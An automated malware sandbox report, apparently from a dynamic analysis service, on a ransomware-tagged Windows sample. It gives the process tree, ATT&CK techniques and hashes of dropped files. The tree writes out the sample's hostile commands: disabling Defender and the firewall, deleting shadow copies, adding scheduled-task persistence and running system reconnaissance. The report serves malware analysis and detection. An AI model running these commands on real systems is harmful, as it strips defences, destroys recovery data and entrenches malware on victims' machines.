C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4660
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1424
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5784
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1228
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2752
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:3440
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2488
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1900
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6048
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1508
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:5072
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1112
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3024
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:1008
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5444
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:4732
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5316 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1596
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4692
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5520
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2384
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5536
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2760
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5284
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5652
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5636 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1776
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5560
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4256
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4552
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5996
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2408
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:1228
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:4036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1904
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260520_134318.jpg
- Size 184KB
- SHA256 4eed5822812ba0fa9f230a48d80c977c1f09408a63ff24e8cf05fb62f8693f71
- MD5 449103559a27828a72eba2c75acb1311
- SHA1 6d2d847b58f8cd8ba70ea79d912eb49f168f38d8
- SHA512 2a320cc5ceb03c9c0fe9e4885524606e38a5ddd5ac5919327b3e73f6f83b63ff2bb3d00cea116a1d265ac65387d3ccc0750fbde72724eeb94d52877a5b19e36b
- SSDEEP 3072:qxxxxxx9s+ASGGuVmBBkwofpPozHRphZZNqlLQ0sk/mQDtykNhLMIL4pdAxQZ2Me:qxxxxxx9s+ASGGuVwVohiZXNqlLQ0skv
- TLSH T12D045E07DD599793E16C83E9BE031EBC2F592B0CE9527AFF15254EDB3E612114C8E02A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 6a9d1e6e30f755d19f2c6d93bf6ca7fd52ffb82f23ec81c8806e03a67148f46d
- MD5 c3f70f261e0357ba0d5d2bc69085f46a
- SHA1 10af00cf72795692b456e9ecfe1429a7fa14bd7c
- SHA512 d4bfae79f1c9d525e2ff5d4b653eb49301006f6f534bf2e22047df078eec3cc4175b32e3cc6558b6c6971a8f03a959479002505dc802e6ff0b02e1d575beb00f
- SSDEEP 1536:jBUPGZQeDIXM0YB9I+oXFyYdKBzkBuIeVjhoL1vc140zzOCBVVPEa:jBUPGSeMZYBP0YOszkuIq+1Ue0zzdVP7
- TLSH T12C631A36CE23FCD0777E3D80F01438561C493E6B97B526BCFA850D9628A9644DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 50dde17fb0fb866a227c26fd8d1887d75f4518d59a206c0a1da85912259741d7
- MD5 a1a8a39918ef4dff8d0738adbc007fa9
- SHA1 a06a120f68b9c811fa759d45276233e1bdbd5a38
- SHA512 0cd5dd516f3ada148852aa522720d0827d54879dd9e9c695da5ac33aa5fdd25060bf1edd3cccaec35528397b196a7f5a056e1be52b16094bfb9c6c56ebfa4715
- SSDEEP 1536:DBUPGZQeDIXM0YB9I+oXFyYdKBzkBuIeVjhoL1vc140zzOCBVVPEt:DBUPGSeMZYBP0YOszkuIq+1Ue0zzdVPy
- TLSH T1EE631A36CE23FCD0777E3D80F05438561C492E6B977526BCFA810DA628A9644DF2E5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 e63deb719b38034da1b945bf7be9656825788d31f4766973c409589a2ca5328f
- MD5 14e18bfcfdff4fa7a7ef2e9444471fb5
- SHA1 9a7c83a1c7d1a97f2f3e0b8e9c235560235b1d91
- SHA512 a80068062a17a8e614435ba4123e9056fdb869abc913f856fa59b077025e696485bdca7169e0734fdce1c603b35cd3251ab6698412daa89e342b767abb61e7c9
- TLSH T131E02BBADC20DC7B14FC4F1961444647F74413563A40489F3A3C850C4FB573A4587C6C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 336B
- SHA256 6e27178255cf1da4104cfd31453e5c45ac355230031fcdb590b1de61d3e5146d
- MD5 c1443cb0ba28bda7f05ea0ee306a7b5c
- SHA1 e542ad121f240f4f93870a1a1c992587bab51593
- SHA512 e26e7250f5f327ec0b1e995f940b570991b296cce81fbe8c62f2f47759d420c8bbe518a8235717c8224f33952efd2defffb9a14fd520f59a429449f931168431
- TLSH T14BE05E9666E80E40EF5AA6765DE31D9534B10ED04A032F6F20EA5DFD817BFE904CC052
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 4KB
- SHA256 4891035368c807a7f2c2f29c2b8eeb398505f6b8f216d025507641e7a64300c6
- MD5 ce90a5762a59089db06faa4fd5b4b407
- SHA1 6fd4d9bda2dd19a4d1427fde23e19715f114948e
- SHA512 b9f03abca9af0a93147aa900b9dfe65a9d5f91ccc49464e66d26f4eedbfc4f604a50d5d5fcf011ec8cac0d6e29d58e384b04a8124eeeb729b18a5fc581a266ea
- SSDEEP 48:YALljpohVsIRsCXLs3IfoKswfsIosjKssgmzs/N5hCsTjczsHjGj4HgjKqsqjyzb:D2pFOIbtTqYN5TRKEAVGtTlEKgxK
- TLSH T1DCA19BF7C7E8C56E890199F4BB186E1BCE2D0929535D3C66CCD4AF0B93E2871D20168E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 19d62ad720f82e124a99a06ae8be7079dbef92baa9f1d332a5cd0a269f040868
- MD5 eb2c5b1243b8db36796fa64d7f8f66c1
- SHA1 f5af822fa064ddfc3f58626dd86c0d81ba38df57
- SHA512 da90aea8bb2e1e1d000a92f0cb5fde34facbb1d542521e01d78c66a36fcafcfcf915d5cb33e9b70dd18764cb03b3d2b6513d59a27ae861b6d3690f02861382c1
- SSDEEP 192:XRPvTPNF3kUL7v7+pAPRp2Pb9wHfKb+WNnB0inN2juekTCVyIsnAUge:XRPbnfLD6UXMOO6828+e
- TLSH T1F842A62EBE54653B5CDBC729FA61B753E7F5102162941E80EAFC8A2C14D76CC221742B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 414308f890c739fbedac4edfb7aa927edbaab38d4e8f1ef92b104f3e188a34e0
- MD5 ea51ee7a8d4d6fb31663ee1bb260a190
- SHA1 94046b1bc65e4709c7aa6e74607572700daf6778
- SHA512 83550526e3136737db22d1ac6ea6b20107ba658b9334775fb06633e34ae5da250fe095fa46fb633d26d8c6fc0590f1cd9ceeb4df9df9f41b3ed30d521762586f
- SSDEEP 192:XRPvTQNF3kUL7v7+pkPRpOPb9wHfKb+WNnB0inN2Iuek0CVyIsnAUgraJ:XRPb4fLD6YXEOO682fXe
- TLSH T1D842B62FBD54653B5CDAC729FA61BB63E3F5102162941E84EAFC8B2C14D76CC221742B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 31a5ce04ae67b5403f3453ceb77ece590798531384f472283d145995727d92f5
- MD5 b28f8d2c357e9f30dbd5f6faec9be3a8
- SHA1 7045d97913533ca8a4d3fd4bcccacb31200659fb
- SHA512 0c3fd52647169605cd7ffcc7ff7895b9d1008ecd2a828bc0aac93f78a5c3515c5bf2ae9dd7335970687bfc199d7d6444d158da461151c200b0fb87c211b0d77f
- SSDEEP 384:sejIb7KxkXqKf/pUZNCgVLH2HfgslHH7pLuLcSj2XXODIX+ErU38xHG6QDzXU:suIb7KxkXqKf/pUZNCgVLH2HfgshH7pZ
- TLSH T17072F8676C489A370F94CA8CDC267B4FADB5024B65EDC86483FA581903D5BCF114A2FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 b1d7b87e4ed79e2ef419c1958d819224c41a8ded8ce4894a2bae11ab5724faa3
- MD5 8ffaf940237bc2e731d8699da95e79a1
- SHA1 4e6baa6c859ff5316ae6d2292e44e0c76fea3884
- SHA512 c2918969d6b4a0e0e61ca785ab44f35b99306287bf43f7d68cc237f6a541895de36b70ba42c55ad123ceb36e3eaf6e81e39c8c56a5dc154409440f732ea92aac
- TLSH T122B0120080419501C45203B0154A189871245F10E60B1F0143E46E23CB255618018060
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe595cfb.TMP
- Size 96B
- SHA256 a28382154b153d4d9372f90309be3f366c583f43372e585a14d5074d5e1d113c
- MD5 9a02e81422c18639711d5f0deaadded1
- SHA1 ab4fe91c5aff36a28b5e3a93e721511ab0c885ab
- SHA512 f1e461f5af8d445ae1e2f8eb4284c5dea4e1641e45692e89cf4fccc30f3ed0613de0b0694dc1472477b7c4079c298cace3b0fae4772a39920d3f365a78a4de53
- TLSH T13BB022A2C0032A02C0028BB02080AAE83028EF20CA030202C2E02EE2CC302300038020
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 3bd2c7eb03ed95141d3a2904248f28a7ffde3e390ff5650b4c353abcc18d1206
- MD5 bba1e6c658023ad30efab13e9970ef9b
- SHA1 28b119c59627d329ea76ed2bf9f31eb63b3443c2
- SHA512 48638ba424f337b56adba1a8e937d28a2c037812044462a24ae571829c5c2299222b6c78a9a845b61576c83032c1c159d82412c76e700e4dd9caf6741e6d7b1d
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Oyn7SVumdnr:1nbZeMrv/hGtyn7cnr
- TLSH T1BED3864B3A743102EDE5DA721CE050BB5E3CB16D4F55A5D428B620688EF2963B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 570151e3c05ab11f90225e750cb3c41a9d74b18e1e78cdfb25ca4a72d0b43f4e
- MD5 517e399608e28673edfad68e088c4e92
- SHA1 f7d43def784ddecb8b3f09361f15296758be3ce9
- SHA512 332be0d84a52730e19004439ccaea3726265b9ab31c821968616728971b787df860e364f8ffd5470247020d49b51c3f5e442d7c5e5401938c090be4eff95a1e4
- SSDEEP 6144:DQMc2kMLz511jPluWDfxA3OnjrYQ9EU0/hEp:kS9z511jl3Dfxjjs+Cu
- TLSH T1F83413725C2A7C610D64EDE9444C3EA89EF8A893C1026C9BE1ED1B4C3C566EE153FD71
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 d99f4a518897a3be713f9d71682dfb9c4dcf7ecdf1e09443365aacc2f95c39ea
- MD5 948a12154c2dc1abe6ff42c9afe59250
- SHA1 47e3e1b9a60db784438bcbae9e7b0c073b17fbdd
- SHA512 5588842aa3e362234472a2929b870f43b816f73c97bfa4d7fc97e6ac1314ea348e80977408d9694ac8e4538da496a5411c8af439898c015f4920aeaa5b120f2a
- SSDEEP 3072:rLzWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAIToJ:rPWDfxA3OnjrYQ9EU0/hEJ
- TLSH T1B8C302A15C39BC660CF8EE95740D3E60AFF46C9A92479DC3A2E91F4C14FB5C8117A930
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 f55599ea6faae46fc7a971df618e4016a18c84e261fe343dbc68309770050d9b
- MD5 fe0e4f6f53c1524125f0c53f13569020
- SHA1 8e038d7d55f894cd934c4ddfd56a5eb21f2083f0
- SHA512 6ac93dfdbe5338c0cdf565a80e41a01e14ef08b505b386d0ae09487a0de01df0e467521039ca06e0de849eb0be8e166f4bae54a87f2a27b6cf8997bb255608b4
- SSDEEP 6144:q7Mc2kMLz511jPluWDfxA3OnjrYQ9EU0/hEp:q7S9z511jl3Dfxjjs+Cu
- TLSH T1D93413629C2A7C620864EDBD454C3EE8AFF4A893C1025C97D2ED0B4C3C966EE113ED71
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 01744e651620b7cc40d1c10af9b2f939c24750382285d892fbfe2cb6a3eab1a5
- MD5 f419f6dcbe572be1b2f6b39f2db7a8de
- SHA1 32898837041b1483aa21aac460ae3edb6612d570
- SHA512 2ee1ecc13877cd0bfcd4eaf5bf8fb82eaba02c76003283467a5fba9856a8a5b6fc2684e1dc10c1d3664bf6455d5417ec57b579e5e644420135b891524ca20853
- SSDEEP 3072:IzWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAITog:WWDfxA3OnjrYQ9EU0/hEg
- TLSH T1B8C302A15D39BD660CB8EE98B44C3F60BFF46D9A91879DC362ED1B4C24FA5C81139930
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mufdddm1.1ti.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 76dbe4f85d94a7924e495fc583de9c7d796a4442e2bb17c11b1130edf4a40edf
- MD5 9f2a35b8420e8b9d4afb353d8b653374
- SHA1 b6e095aa368364a36bd8cc85c8d60a0ac282d87c
- SHA512 b303cf1b1ce9e71f57ff09b5aab1c343246597ef8bc39864a1e67f98dba75a4b5add01136d77ffa1c70aa02999be66710bbc47d8e1aa498e04b9bbd2c4043b43
- TLSH T1A1E07D4BA11CC66900011127C2B24E8CD4E0552C36176E218670DD4E37908C559F1142
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 dff790244acdcd0c24290807649c660f9d59fb66770959e80d90a38369f3fc70
- MD5 86e83138d6658467066e9e7e01ad6ee3
- SHA1 81e61c61e25fa8191bbcf17c9021f6175fa8a4e2
- SHA512 d344351e2adaf329191960dfaf14157478f216ae97933380c9c2cfe4c1cbc6bdc36f00eb4f80eb118f31860eb835429eb1b77108572e5170725e79a2e4ac8084
- TLSH T12BE0CD4BA16CC6690001513BC1B34E8DD5E1562D7A276E25D670DD4E37918C559F1542
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 241KB
- SHA256 e5e2c243ff016b4623a05ec0945af567ed401575a69a15112d3707a0728f041a
- MD5 c7031acf12aa8405c72a5494844ceba2
- SHA1 d1226cf9db55a130b9ae05f4e7cc714f0910599f
- SHA512 0aecf7d73a7fc444297c9ba45e08a6087fc26cd291efcb6d42d873ea5de9ed888b1e81f72efdc691d3cedfa3cf2bd6a7b29c19607f8d1df642420ebfc37b933c
- SSDEEP 6144:q3QeN1lMzmSuKTPC/+wWEVl5xxVIbOsbZz0qPl:N+QRhwWEVTxxOSsP
- TLSH T1FD346D40C6B38E1B09C15EAB446637D1E438BBB1D6EC85FB21E5AE63F0779B2C20D645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 241KB
- SHA256 8a689deba805dde8579b2b0ba7a86277217365406a29be2709047e7bd0ca4934
- MD5 7fe7e06b37dd6961a6188ca349ae9608
- SHA1 9e9c5a430218832684bd5f62b505bf46d28955cd
- SHA512 2da32f9e9b2ee8f71ac33cbd903f42b0e92f453178ebb979da6a4474d71d60037aabf34edcdc3ab0a077a418356fca80484e3ab3c9cd7ecbd522dfd1bafbe0e7
- SSDEEP 6144:N3QeN1lMzmSuKTPC/+wWEVl5xxVIbOsbZz0qPC:y+QRhwWEVTxxOSsc
- TLSH T1B8346D40C6B28E1B09C15EAB446637D1E438BBB1D6EC85FB21F5AE63F0779B2C20D645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 02ec87f4a5aa5247e4c94538a628d41d7a96ec41127c0e5ca49a3dab2a5738c0
- MD5 ca9612a89fc03017f2dfe99e4540b819
- SHA1 508c5ccad52c3b4933a91e5afc9553eda2ff5bc9
- SHA512 3580d4bd96b914f0c4ba5ab80fb75a1fe8518f2771a1269b416bb976ba91bfa875b2deeab57581fc5261c98922e94a812debcd3b2e6b423f6035dd55c7d52304
- SSDEEP 768:gh8s/45EQU+tKjSgQCxRAeN/GJ4I//w4+DC1XXGblfA0kDgKFc7k3:UnO7U+3AAeIaIQ4oEXGblf9Lucg
- TLSH T1BA33E50437F94511F1BF5EBA4DB192119B30B8A7AC22D78E16D5058E1AB3B80CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH